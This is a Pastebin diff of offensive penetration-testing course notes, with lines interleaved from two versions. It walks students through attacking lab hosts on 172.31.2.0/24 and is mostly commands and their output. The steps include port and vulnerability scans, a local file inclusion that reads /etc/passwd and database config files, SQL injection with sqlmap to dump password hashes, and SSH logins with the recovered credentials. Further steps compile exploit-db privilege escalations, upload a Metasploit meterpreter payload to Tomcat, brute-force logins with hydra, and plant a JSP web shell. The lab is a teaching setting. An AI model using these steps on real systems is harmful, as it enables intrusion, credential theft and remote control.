View difference between Paste ID: KnCnbr5x and 0whrVjzA
SHOW: | | - or go back to the newest paste.
1
########################################################
2
# CyberWar: Advanced Offensive Cyber Operations        #
3
# By Joe McCray of Strategic Security                  #
4
########################################################
5
6
7
8
#########################
9
# Class Virtual Machine #
10
#########################
11
 
12
 
13-
Here is the VMWare virtual machine for the class:
13+
Here is the VMWare virtual machine for the class or you can use Kali Linux as well if you like:
14
 
15-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
15+
https://s3.amazonaws.com/infosecaddictsvirtualmachines/Ubuntu-17-10-InfoSecAddictsVM.zip
16
user:      infosecaddicts
17
pass:      infosecaddicts
18
19
20
Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
21-
If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
21+
22
23
To connect to the VPN open a web browser on your host machine (not your virtual machine) and go to the following URL:
24
https://54.245.178.32/?src=connect
25
26-
So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
26+
27-
https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf
27+
Accept the security exception and enter one of the following user names:
28-
vpn username: {first_initial.last_name}  example: j.mccray
28+
29-
vpn password: !@#$vpn4321VPN
29+
username: labuser001		
30
username: labuser002
31
username: labuser003
32
username: labuser004
33-
If you wants some scanning tips you should take a look at the following document:
33+
username: labuser005
34-
https://s3.amazonaws.com/infosecaddictsfiles/LabNetworkScanningV4.pdf
34+
username: labuser006
35
username: labuser007
36
username: labuser008
37
username: labuser009
38
username: labuser010
39
username: labuser011
40-
######################### 
40+
username: labuser012
41
username: labuser013
42
username: labuser014
43
username: labuser015
44
username: labuser016
45
username: labuser017
46
username: labuser018
47
username: labuser019
48
username: labuser020
49
50
----------------------------------------------------------------------------------------------------------------------------------------
51
52
Mr. McCray will provide you with the password for the usernames above once the training session starts.
53
54
55
56
57
The target network range is:
58
172.31.2.0/24
59-
#######################
59+
60-
# Scanning Techniques #
60+
61-
#######################
61+
You can do any attack EXCEPT man-in-the-middle attacks, and please DO NOT attack any other IP ranges.
62-
sudo nmap -sL 172.31.2.0/24
62+
63
64
65
66
67-
wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
67+
68
69-
gcc ipcrawl.c -o ipcrawl
69+
70
71-
chmod 777 ipcrawl
71+
72
----------------------------------------------------------------------------------------------------------------------------------------
73-
./ipcrawl 172.31.2.1 172.31.2.254
73+
Some tools to install:
74
---------------------------Type This-----------------------------------
75
wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
76
gcc propecia.c -o propecia
77
sudo cp propecia /bin
78
-----------------------------------------------------------------------
79
80
81
82
83
84-
propecia 172.31.6 22
84+
Step 1: Portscan the server
85
---------------------------Type This-----------------------------------
86-
propecia 172.31.6 80
86+
sudo nmap -sS 172.31.2.139
87
-----------------------------------------------------------------------
88-
propecia 172.31.6 443
88+
89
Step 2: Version scan the server
90-
propecia 172.31.6 3389
90+
---------------------------Type This-----------------------------------
91
sudo nmap -sV -p22,80 172.31.2.139
92-
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | grep open
92+
-----------------------------------------------------------------------
93
94-
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2 " " $3}'
94+
95
96-
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' | wc -l
96+
Step 3: Vulnerability scan the webserver
97
---------------------------Type This-----------------------------------
98-
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}'
98+
99
 
100-
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
100+
101
 
102-
cat ~/labnet-ip-list.txt
102+
103
 
104-
#################################################
104+
105-
# Screenshotting the Web Servers in the Network #
105+
106-
#################################################
106+
perl nikto.pl -h 172.31.2.139
107
-----------------------------------------------------------------------
108-
mkdir labscreenshots
108+
109-
cd labscreenshots/
109+
110
111
112-
wget https://s3.amazonaws.com/infosecaddictsfiles/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
112+
Step 4: Directory brute-force the webserver
113-
tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
113+
---------------------------Type This-----------------------------------
114-
cd wkhtmltox/bin/
114+
115-
sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
115+
116
git clone https://github.com/v0re/dirb.git
117
 
118
cd dirb/
119-
git clone git://github.com/SpiderLabs/Nmap-Tools.git
119+
120-
cd Nmap-Tools/NSE/
120+
./configure
121
 
122-
sudo cp http-screenshot.nse /usr/share/nmap/scripts/
122+
make
123
 
124
dirb
125-
sudo nmap --script-updatedb
125+
126
./dirb http://172.31.2.139 wordlists/big.txt
127
-----------------------------------------------------------------------
128
129-
cd ~/toolz/labscreenshots/
129+
130-
sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 172.31.2.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
130+
131
132
133
134
135
136-
vi screenshots.sh
136+
137
138-
#!/bin/bash
138+
139-
printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
139+
140-
ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
140+
141-
printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
141+
----------------------------------------------------------------------------------------------------------------------------------------------
142
143
144
145
146
147-
sh screenshots.sh
147+
148
Attack steps:
149
-------------
150-
python -m SimpleHTTPServer
150+
151
 
152
Step 1: Ping sweep the target network
153-
--- Now browse to the IP of your Linux machine on port 8000 (http://192.168.200.157:8000/labnet-port-80-screenshots.html):
153+
-------------------------------------
154-
http://Ubuntu-VM-IP:8000/labnet-port-80-screenshots.html
154+
155
 
156
---------------------------Type This-----------------------------------
157
nmap -sP 172.31.2.0/24
158
-----------------------------------------------------------------------
159-
##########################
159+
160-
# Nmap NSE tricks to try #
160+
Found 4 hosts:
161-
##########################
161+
172.31.2.47
162-
sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.0/24
162+
172.31.2.47
163
172.31.2.157
164
172.31.2.217
165-
sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 172.31.2.0/24
165+
166
167
Step 2: Port scan target system
168-
sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 172.31.2.0/24
168+
169
 
170
 
171-
sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 172.31.2.0/24
171+
---------------------------Type This-----------------------------------
172
sudo nmap -sV 172.31.2.47
173
-----------------------------------------------------------------------
174-
sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 172.31.2.0/24
174+
175
176
177-
sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 172.31.2.0/24
177+
PORT    STATE    SERVICE VERSION
178
22/tcp  open     ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
179
80/tcp  open     http    Apache httpd 2.2.22 ((Ubuntu))
180-
sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 172.31.2.0/24
180+
514/tcp filtered shell
181
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
182
183-
sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 172.31.2.0/24
183+
184
185
Step 3: Vulnerability Scan the webserver
186-
sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 172.31.2.0/24
186+
----------------------------------------
187
 
188
 
189-
sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 172.31.2.0/24
189+
---------------------------Type This-----------------------------------
190
cd ~/toolz/
191
 
192-
sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 172.31.2.0/24
192+
193
 
194
git clone https://github.com/sullo/nikto.git Nikto2
195-
sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 172.31.2.0/24
195+
196
cd Nikto2/program
197
 
198
perl nikto.pl -h 172.31.2.47
199-
sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 172.31.2.0/24
199+
-----------------------------------------------------------------------
200
 
201
 
202
Step 4: Run dirbuster or similar directory bruteforce tool against the target
203
-----------------------------------------------------------------------------
204
 
205
 
206
---------------------------Type This-----------------------------------
207
wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
208
 
209
perl Webr00t.pl -h 172.31.2.47 -v | grep -v "404 Not Found"
210
-----------------------------------------------------------------------
211-
Take screenshots of you performing all of the tasks above
211+
212
213
214-
#####################################
214+
Step 5: Browse the web site to look for clues
215-
# Writing Your Own Nmap NSE Scripts #
215+
---------------------------------------------
216-
#####################################
216+
Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself
217
218
219-
----------------------------------------------------------------------
219+
http://172.31.2.47/test
220-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
220+
http://172.31.2.47/test.php (got the following error message)
221
	'file' parameter is empty. Please provide file path in 'file' parameter
222-
-- The Head Section --
222+
223-
-- The Rule Section --
223+
Figured this was a Local File Include (LFI) so I tried:
224-
portrule = function(host, port)
224+
	http://172.31.2.47/test.php?file=/etc/passwd
225-
    return port.protocol == "tcp"
225+
	http://172.31.2.47/test.php?file=/etc/passwd%00
226-
            and port.number == 80
226+
227-
            and port.state == "open"
227+
None of these worked so I tried it as a POST request with curl (reference: https://pastebin.com/yfBz5H7b)
228-
end
228+
---------------------------Type This-----------------------------------
229
curl -X POST -F 'file=/etc/passwd' http://172.31.2.47/test.php
230-
-- The Action Section --
230+
-----------------------------------------------------------------------
231-
action = function(host, port)
231+
232-
    return "CyberWar!"
232+
233-
end
233+
234-
----------------------------------------------------------------------
234+
http://172.31.2.47/a
235
http://172.31.2.47/b
236-
- Ok, now that we've made that change let's run the script
236+
http://172.31.2.47/c  (a and b gave 404 errors, but "c" is a blank page, and view source is blank as well - this must be a config file"
237-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
237+
238
So let's try that POST request with curl to pull down the c.php config file.
239
240
---------------------------Type This-----------------------------------
241
curl -X POST -F 'file=/var/www/html/c.php' http://172.31.2.47/test.php
242
curl -X POST -F 'file=/var/htdocs/c.php' http://172.31.2.47/test.php 
243
curl -X POST -F 'file=/var/www/c.php' http://172.31.2.47/test.php
244-
----------------------------------------------------------------------
244+
----------------------------------------------------------------------- 
245-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
245+
246
<?php
247-
-- The Head Section --
247+
#header( 'Z-Powered-By:its chutiyapa xD' );
248-
local shortport = require "shortport"
248+
header('X-Frame-Options: SAMEORIGIN');
249
header( 'Server:testing only' );
250-
-- The Rule Section --
250+
header( 'X-Powered-By:testing only' );
251-
portrule = shortport.http
251+
252
ini_set( 'session.cookie_httponly', 1 );
253
254-
-- The Action Section --
254+
255-
action = function(host, port)
255+
256-
    return "CyberWar!"
256+
// Check connection
257-
end
257+
if (mysqli_connect_errno())
258-
----------------------------------------------------------------------
258+
  {
259
  echo "connection failed ->  " . mysqli_connect_error();
260-
- Ok, now that we've made that change let's run the script
260+
  }
261-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
261+
262
?>
263
264
265
266
---------------------------Type This-----------------------------------
267
ssh -l billu 172.31.2.47
268
	b0x_billu
269-
OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
269+
-----------------------------------------------------------------------
270
271-
----------------------------------------------------------------------
271+
272-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
272+
273
http://172.31.2.47/phpmyadmin
274-
-- The Head Section --
274+
http://172.31.2.47/phpMyAdmin
275-
local shortport = require "shortport"
275+
http://172.31.2.47/pma
276-
local http = require "http"
276+
http://172.31.2.47/phpmy
277
278-
-- The Rule Section --
278+
279-
portrule = shortport.http
279+
Then I Googled config file name for phpmyadmin (config.inc.php)
280
281-
-- The Action Section --
281+
---------------------------Type This-----------------------------------
282-
action = function(host, port)
282+
curl -X POST -F 'file=/var/www/phpmy/config.inc.php' http://172.31.2.47/test.php
283
-----------------------------------------------------------------------
284-
    local uri = "/installing-metasploit-in-ubunt/"
284+
<?php
285-
    local response = http.get(host, port, uri)
285+
286-
    return response.status
286+
/* Servers configuration */
287
$i = 0;
288-
end
288+
289-
----------------------------------------------------------------------
289+
/* Server: localhost [1] */
290
$i++;
291-
- Ok, now that we've made that change let's run the script
291+
$cfg['Servers'][$i]['verbose'] = 'localhost';
292-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
292+
$cfg['Servers'][$i]['host'] = 'localhost';
293
$cfg['Servers'][$i]['port'] = '';
294
$cfg['Servers'][$i]['socket'] = '';
295
$cfg['Servers'][$i]['connect_type'] = 'tcp';
296
$cfg['Servers'][$i]['extension'] = 'mysqli';
297-
----------------------------------------------------------------------
297+
$cfg['Servers'][$i]['auth_type'] = 'cookie';
298-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
298+
299
$cfg['Servers'][$i]['password'] = 'roottoor';
300-
-- The Head Section --
300+
$cfg['Servers'][$i]['AllowNoPassword'] = true;
301-
local shortport = require "shortport"
301+
302-
local http = require "http"
302+
303
---------------------------Type This-----------------------------------
304-
-- The Rule Section --
304+
ssh -l root 172.31.2.47
305-
portrule = shortport.http
305+
	roottoor
306
-----------------------------------------------------------------------
307-
-- The Action Section --
307+
308-
action = function(host, port)
308+
309
310-
    local uri = "/installing-metasploit-in-ubunt/"
310+
311-
    local response = http.get(host, port, uri)
311+
312
313-
    if ( response.status == 200 ) then
313+
---------------------------------------------------------------------------------------------------------------------------------------------------------
314-
        return response.body
314+
315-
    end
315+
Attack steps:
316
-------------
317-
end
317+
318-
----------------------------------------------------------------------
318+
319
320-
- Ok, now that we've made that change let's run the script
320+
Step 1: Ping sweep the target network
321-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
321+
-------------------------------------
322
323
324
---------------------------Type This-----------------------------------
325
nmap -sP 172.31.2.0/24
326
-----------------------------------------------------------------------
327
328
329
330
- Found 3 hosts
331-
----------------------------------------------------------------------
331+
172.31.2.64
332-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
332+
172.31.2.217
333
172.31.2.238
334-
-- The Head Section --
334+
335-
local shortport = require "shortport"
335+
336-
local http = require "http"
336+
337-
local string = require "string"
337+
Step 2: Port scan target system
338
-------------------------------
339-
-- The Rule Section --
339+
340-
portrule = shortport.http
340+
341
---------------------------Type This-----------------------------------
342-
-- The Action Section --
342+
nmap -sV 172.31.2.64
343-
action = function(host, port)
343+
-----------------------------------------------------------------------
344
345-
    local uri = "/installing-metasploit-in-ubunt/"
345+
346-
    local response = http.get(host, port, uri)
346+
347
-------------Scan Results--------------------------------------------
348-
    if ( response.status == 200 ) then
348+
PORT     STATE    SERVICE VERSION
349-
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
349+
22/tcp   open     ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
350-
        return title
350+
80/tcp   open     http    Apache httpd 2.4.7 ((Ubuntu))
351-
    end
351+
514/tcp  filtered shell
352
1037/tcp filtered ams
353-
end
353+
6667/tcp open     irc     ngircd
354-
----------------------------------------------------------------------
354+
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
355
--------------------------------------------------------------------
356-
- Ok, now that we've made that change let's run the script
356+
357-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
357+
358
Step 3: Vulnerability Scan the webserver
359
----------------------------------------
360
361
362
---------------------------Type This-----------------------------------
363
cd ~/toolz/
364
 
365-
----------------------------------------------------------------------
365+
366-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
366+
367
git clone https://github.com/sullo/nikto.git Nikto2
368-
-- The Head Section --
368+
369-
local shortport = require "shortport"
369+
370-
local http = require "http"
370+
371-
local string = require "string"
371+
perl nikto.pl -h 172.31.2.64
372
-----------------------------------------------------------------------
373-
-- The Rule Section --
373+
374-
portrule = shortport.http
374+
375
Step 4: Run dirbuster or similar directory bruteforce tool against the target
376-
-- The Action Section --
376+
-----------------------------------------------------------------------------
377-
action = function(host, port)
377+
378
379-
    local uri = "/installing-metasploit-in-ubunt/"
379+
---------------------------Type This-----------------------------------
380-
    local response = http.get(host, port, uri)
380+
wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
381
382-
    if ( response.status == 200 ) then
382+
perl Webr00t.pl -h 172.31.2.64 -v
383-
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
383+
-----------------------------------------------------------------------
384
385-
        if (title) then
385+
386-
            return "Vulnerable"
386+
387-
        else
387+
Step 5: Browse the web site to look for clues
388-
            return "Not Vulnerable"
388+
---------------------------------------------
389-
        end
389+
Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself
390-
    end
390+
391-
end
391+
392
..... really didn't get much from here so we just opened the web page in a browser
393-
----------------------------------------------------------------------
393+
http://172.31.2.64/
394
395-
- Ok, now that we've made that change let's run the script
395+
.....browsed to the webpage and saw that it pointed to:
396-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
396+
http://172.31.2.64/jabc
397
398
....clicked on documentation link and found hidden text that pointed to here:
399
http://172.31.2.64/jabcd0cs/
400
401-
# Day 2 Homework #
401+
....saw that the app was OpenDocMan v1.2.7 and found it was vulnerable:
402
https://www.exploit-db.com/exploits/32075/
403-
Take screenshots of you performing all of the day 2 tasks above
403+
404
Tried the sql injection described in exploit-db:
405
http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version(),3,4,5,6,7,8,9
406
407
http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,user(),3,4,5,6,7,8,9
408
409
410
411
Tried to run sqlmap against the target
412
413
414
---------------------------Type This-----------------------------------
415
cd sqlmap-dev/
416
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -b --dbms=mysql
417
418
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-user --dbms=mysql
419
420
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-db --dbms=mysql
421
422
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --dbms=mysql
423
424
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --users --passwords --dbms=mysql
425
-----------------------------------------------------------------------
426
427
428
429
FOUND: cracked password 'toor' for user 'drupal7' (sqlmap)
430
FOUND: 9CFBBC772F3F6C106020035386DA5BBBF1249A11 hash is 'toor' verified at crackstation.net
431
432
433
434
---------------------------Type This-----------------------------------
435
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs --tables --dbms=mysql
436
437
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --dump --dbms=mysql
438
-----------------------------------------------------------------------
439
440
	username: 	webmin
441
	hash:		b78aae356709f8c31118ea613980954b
442
443
https://hashkiller.co.uk/md5-decrypter.aspx
444
	
445-
use auxiliary/scanner/http/http_version			
445+
	hash:		b78aae356709f8c31118ea613980954b
446
	pass:		webmin1980
447
448
449
ok - /phpmyadmin and /webmin both did not work in the browser but these credentials worked for SSH.
450
451
452
453
---------------------------Type This-----------------------------------
454
ssh -l webmin 172.31.2.64
455
	webmin1980
456-
use auxiliary/scanner/http/tomcat_enum			 
456+
457
id
458
459
cat /etc/*release
460
-----------------------------------------------------------------------
461
462
463
464
....tired of not having a real command shell...
465
466
467
---------------------------Type This-----------------------------------
468
python -c 'import pty;pty.spawn("/bin/bash")'
469
470
471
cd /tmp
472
 
473
pwd
474
 
475-
use auxiliary/scanner/http/http_version			
475+
476
cat >> exploit.c << out
477
 
478
**************paste in the content from here *****************
479
https://www.exploit-db.com/raw/39166/
480
 
481
 
482
------ hit enter a few times ------
483
 
484
------ then type 'out' ----- this closes the file handle...
485
 
486
487-
use auxiliary/scanner/http/tomcat_mgr_login			 
487+
488
---------------------------Type This----------------------------------- 
489
gcc -o boom exploit.c
490
 
491
./boom
492
-----------------------------------------------------------------------
493
494
495
------------exploit failed, damn let's try another one ---------
496
497
498
499
---------------------------Type This-----------------------------------
500
cat >> exploit2.c << out
501
 
502
**************paste in the content from here *****************
503
https://www.exploit-db.com/raw/37292/
504
505
506
out
507
508
509
gcc -o boom2 exploit2.c
510
 
511
./boom2
512
513
id
514
515
516
......YEAH - do the happy dance!!!!
517
518-
exploit 
518+
519
520
521
---- Previous class attack process -------
522
523
524
#########################
525
# Building a quick list #
526
#########################
527
528
---------------------------Type This-----------------------------------
529
530
cd ~
531
echo bob >> list.txt
532
echo jim >> list.txt
533
echo joe >> list.txt
534
echo tim >> list.txt
535
echo admin >> list.txt
536
echo hello >> list.txt
537
echo rob >> list.txt
538
echo test >> list.txt
539
echo aaaaaa >> list.txt
540
echo larry >> list.txt
541
echo mario >> list.txt
542
echo jason >> list.txt
543
echo john >> list.txt
544
-----------------------------------------------------------------------
545
546
547
###########################################################
548
# Let's start with some basic scanning of the lab network #
549
###########################################################
550
551
---------------------------Type This-----------------------------------
552
553
infosecaddicts@ubuntu:~$ nmap -sP 172.31.2.0/24
554
-----------------------------------------------------------------------
555
556
Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:17 EST
557
Nmap scan report for 172.31.2.24
558
Host is up (0.046s latency).
559
Nmap scan report for 172.31.2.47
560
Host is up (0.045s latency).
561
Nmap scan report for 172.31.2.64
562
Host is up (0.037s latency).
563
Nmap scan report for 172.31.2.86
564
Host is up (0.040s latency).
565
Nmap scan report for 172.31.2.117
566
Host is up (0.038s latency).
567
Nmap scan report for 172.31.2.139
568
Host is up (0.037s latency).
569
Nmap scan report for 172.31.2.157
570
Host is up (0.036s latency).
571
Nmap scan report for 172.31.2.217
572
Host is up (0.047s latency).
573
Nmap scan report for 172.31.2.238
574
Host is up (0.036s latency).
575
Nmap done: 256 IP addresses (9 hosts up) scanned in 3.22 seconds
576
577
578
579
580
581
582
---------------------------Type This-----------------------------------
583
584
infosecaddicts@ubuntu:~$ sudo nmap -sS 172.31.2.24
585
-----------------------------------------------------------------------
586
587
[sudo] password for infosecaddicts:
588
589
Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:18 EST
590
Nmap scan report for 172.31.2.24
591
Host is up (1.8s latency).
592
Not shown: 989 closed ports
593
PORT     STATE    SERVICE
594
25/tcp   open     smtp
595
80/tcp   open     http
596
111/tcp  open     rpcbind
597
139/tcp  open     netbios-ssn
598
445/tcp  open     microsoft-ds
599
514/tcp  filtered shell
600
1322/tcp open     novation
601
2049/tcp open     nfs
602
8080/tcp open     http-proxy
603
8081/tcp open     blackice-icecap
604
9000/tcp open     cslistener
605
606
Nmap done: 1 IP address (1 host up) scanned in 133.56 seconds
607-
Deploy the WAR file using the built-in deploy option on the manager web-page. 
607+
608
609
610
611
612
613
614
---------------------------Type This-----------------------------------
615
616
infosecaddicts@ubuntu:~$ sudo nmap -sV -p25,80,111,139,445,1322,2049,8080,8081,9000 172.31.2.24
617
-----------------------------------------------------------------------
618
619
Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:21 EST
620
Nmap scan report for 172.31.2.24
621
Host is up (0.031s latency).
622
PORT     STATE SERVICE     VERSION
623
25/tcp   open  ftp         vsftpd 3.0.2
624
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
625
111/tcp  open  rpcbind     2-4 (RPC #100000)
626
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: CANYOUPWNME)
627
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: CANYOUPWNME)
628
1322/tcp open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
629
2049/tcp open  nfs_acl     2-3 (RPC #100227)
630
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
631
8081/tcp open  http        Apache httpd 2.4.7 ((Ubuntu))
632
9000/tcp open  http        Jetty winstone-2.9
633
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
634
635
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
636
Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds
637
638
639
640
641
642
643
644
645
###########################
646
# Day 1: Attacking Kevgir #
647
###########################
648
649
650
******** Attacking Kevgir ********
651
I figured I've give you something fun to play with.
652
 
653
 
654
 
655
###############
656
# Using Nikto #
657
###############
658
659
---------------------------Type This-----------------------------------
660
 
661
cd ~/toolz/
662-
use auxiliary/scanner/ssh/ssh_users			 
662+
663
rm -rf nikto*
664
 
665
git clone https://github.com/sullo/nikto.git Nikto2
666
 
667
cd Nikto2/program
668
 
669
perl nikto.pl -h 172.31.2.24
670
 
671
perl nikto.pl -h 172.31.2.24:8080
672
 
673
perl nikto.pl -h 172.31.2.24:8081
674
 
675
perl nikto.pl -h 172.31.2.24:9000
676
 
677
-----------------------------------------------------------------------
678-
use auxiliary/scanner/ssh/ssh_login			 
678+
679
 
680
 
681
####################
682
# Using Metasploit #
683
####################
684
685
---------------------------Type This-----------------------------------
686
687
cd ~/toolz/metasploit
688
 
689
./msfconsole
690
 
691
use auxiliary/scanner/http/http_version        
692
 
693
set RHOSTS 172.31.2.24
694
 
695
set RPORT 8080
696
 
697
run
698
 
699
 
700
-------------------------------
701
 
702
use auxiliary/scanner/http/tomcat_enum           
703
 
704
set RHOSTS 172.31.2.24
705
 
706
set RPORT 8080
707
 
708
run
709
-----------------------------------------------------------------------
710
 
711
 
712
 
713
 
714
 
715
####################
716
# Attacking Tomcat #
717
####################
718
719-
python pmabf.py http://172.31.2.24 root list.txt		(this gave me the WRONG password)
719+
---------------------------Type This-----------------------------------
720
721
use auxiliary/scanner/http/http_version        
722
 
723
set RHOSTS 172.31.2.24
724
 
725
set RPORT 8080
726
 
727
run
728
 
729
 
730
------------------------------- 
731
 
732
 
733-
use use auxiliary/scanner/http/joomla_plugins			 
733+
use auxiliary/scanner/http/tomcat_mgr_login          
734
 
735
set USERNAME tomcat
736
 
737
set USERPASS_FILE /home/infosecaddicts/list.txt
738
 
739
set STOP_ON_SUCCESS true
740
 
741
set RHOSTS 172.31.2.24
742
 
743
set RPORT 8080
744
 
745
run
746
 
747
 
748
-------------------------------
749
 
750
use exploit/multi/http/tomcat_mgr_upload
751
 
752
set HttpUsername tomcat
753
 
754
set HttpPassword tomcat
755
 
756
set RHOST 172.31.2.24
757
 
758
set RPORT 8080
759
 
760
set PATH /manager/html
761
 
762
set PAYLOAD java/meterpreter/bind_tcp
763
 
764
exploit
765
 
766
 
767
run post/linux/gather/checkvm
768
 
769
run post/linux/gather/enum_configs
770
 
771
run post/linux/gather/enum_protections
772
 
773
run post/linux/gather/enum_system
774
 
775
run post/linux/gather/enum_users_history
776
 
777
run post/linux/gather/hashdump
778
 
779
shell
780
 
781
/bin/bash
782
 
783
id
784
 
785
uname -a
786
 
787
dpkg -l
788
 
789
cd /tmp
790
 
791-
	infosecaddicts
791+
792
 
793
 
794-
	infosecaddicts
794+
795
 
796
**************paste in the content from here *****************
797
https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c
798
 
799
 
800
------ hit enter a few times ------
801
 
802
------ then type 'out' ----- this closes the file handle...
803
 
804
 
805
gcc -o boom exploit.c
806
 
807
./boom
808
 
809
id
810
 
811
 
812
-----------------------------------------------------------------------
813
 
814
---------------------------Type This-----------------------------------
815
 
816
hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 172.31.2.24 http-get /manager/html
817
-----------------------------------------------------------------------
818
 
819
 
820
 
821
 
822
 
823
-------------------------------------------index.jsp-------------------------------------------
824
<FORM METHOD=GET ACTION='index.jsp'>
825
<INPUT name='cmd' type=text>
826
<INPUT type=submit value='Run'>
827
</FORM>
828
<%@ page import="java.io.*" %>
829
<%
830
   String cmd = request.getParameter("cmd");
831
   String output = "";
832
   if(cmd != null) {
833
      String s = null;
834
      try {
835
         Process p = Runtime.getRuntime().exec(cmd,null,null);
836
